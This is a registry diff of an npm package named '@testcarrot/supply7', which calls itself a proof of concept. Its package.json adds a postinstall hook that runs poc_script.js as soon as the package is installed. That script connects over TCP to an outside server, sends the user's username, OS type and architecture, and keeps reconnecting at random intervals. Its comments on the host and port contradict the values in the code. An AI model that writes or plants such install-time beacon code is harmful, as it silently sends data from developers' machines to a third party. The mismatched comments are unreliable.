@testcarrot/supply7 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/package.json +13 -0
  2. package/poc.sh +7 -0
  3. package/poc_script.js +72 -0
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@testcarrot/supply7",
3
+ "version": "1.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node poc_script.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
13
+ }
package/poc.sh ADDED
@@ -0,0 +1,7 @@
1
+ #!/bin/bash
2
+
3
+ # 이 스크립트가 실행되었음을 터미널에 알림
4
+ echo "[+] POC Shell Script: Successfully downloaded and executed."
5
+
6
+ # 실행되었다는 로그 파일을 남김
7
+ echo "This file was created by the downloaded poc.sh at $(date)" > poc_shell_executed.log
package/poc_script.js ADDED
@@ -0,0 +1,72 @@
1
+ // Deobfuscated JavaScript code
2
+ const os = require('os');
3
+ const systemType = os.platform();
4
+ const fs = require('fs');
5
+ const net = require('net');
6
+ const { exec } = require('child_process');
7
+
8
+ const SERVER_HOST = '8.Z.11.N'; // 8.152.163.60
9
+ const SERVER_PORT = 15000; // 8057 in the hexadecimal number system converted to 16223 in decimal
10
+ let client;
11
+ let fileStream;
12
+ let receivingFile = false;
13
+ let filePath;
14
+
15
+ function collectUserInfo() {
16
+ const userInfo = os.userInfo();
17
+ const systemArch = os.arch();
18
+ const requestData = {
19
+ arch: systemArch,
20
+ info: `user:${userInfo.username}, system:${systemType}`,
21
+ };
22
+
23
+ console.log('Sending device info:', requestData);
24
+ sendToServer(JSON.stringify(requestData));
25
+ }
26
+
27
+ function sendToServer(data) {
28
+ if (client && client.writable) {
29
+ client.write(data + '\n', 'utf8', (err) => {
30
+ if (err) {
31
+ console.error('Error sending data:', err.message);
32
+ } else {
33
+ console.log('Data sent successfully.');
34
+ }
35
+ });
36
+ } else {
37
+ console.error('Client is not connected!');
38
+ }
39
+ }
40
+
41
+ function connectToServer() {
42
+ client = new net.Socket();
43
+ client.connect(SERVER_PORT, SERVER_HOST, () => {
44
+ console.log(`Connected to ${SERVER_HOST}:${SERVER_PORT}`);
45
+ const osType = os.type();
46
+ console.log(`Connected to OS Type: ${osType}`);
47
+ client.write(`osType:${osType}\n`);
48
+ collectUserInfo();
49
+ });
50
+
51
+
52
+ client.on('close', () => {
53
+ console.log('Connection closed');
54
+ reconnectToServer();
55
+ });
56
+
57
+ client.on('error', (err) => {
58
+ console.error(`Connection error:${err.message}`);
59
+ reconnectToServer();
60
+ });
61
+ }
62
+
63
+ function reconnectToServer() {
64
+ const retryInterval = Math.floor(Math.random() * (300000 - 60000 + 1)) + 60000; // between 1 and 5 minutes
65
+ console.log(`Reconnecting in ${(retryInterval / 1000 / 60).toFixed(2)} minutes...`);
66
+ setTimeout(() => {
67
+ console.log('Attempting to reconnect...');
68
+ connectToServer();
69
+ }, retryInterval);
70
+ }
71
+
72
+ connectToServer();